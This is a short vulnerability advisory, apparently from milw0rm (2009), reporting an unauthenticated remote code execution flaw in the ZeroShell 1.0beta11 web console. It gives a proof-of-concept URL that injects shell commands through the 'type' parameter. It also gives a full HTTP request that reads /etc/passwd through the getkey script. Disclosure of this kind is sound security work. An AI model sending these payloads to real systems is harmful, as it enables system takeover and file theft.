==================================================== ZeroShell <= 1.0beta11 Remote Code Execution Original Advisory: http://www.ikkisoft.com/stuff/LC-2009-01.txt luca.carettoni[at]ikkisoft[dot]com ==================================================== ZeroShell (http://www.zeroshell.net/eng/) is a small Linux distribution for servers and embedded devices. This Linux distro can be configured and managed with an easy to use web console. ZeroShell is prone to an arbitrary code execution vulnerability due to an improper input validation mechanism. An aggressor may abuse this weakness in order to compromise the entire system. Authentication is not required in order to exploit this flaw. [Proof of Concept] /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;;%22 In addition to the Unix commands, it is possible to abuse the ZeroShell scripts themself. For instance it is likely to use the "getkey" script in order to retrieve remote files, including the content in the html page. {HTTP REQUEST} GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22; /root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22 HTTP/1.1 Host: # milw0rm.com [2009-02-09]
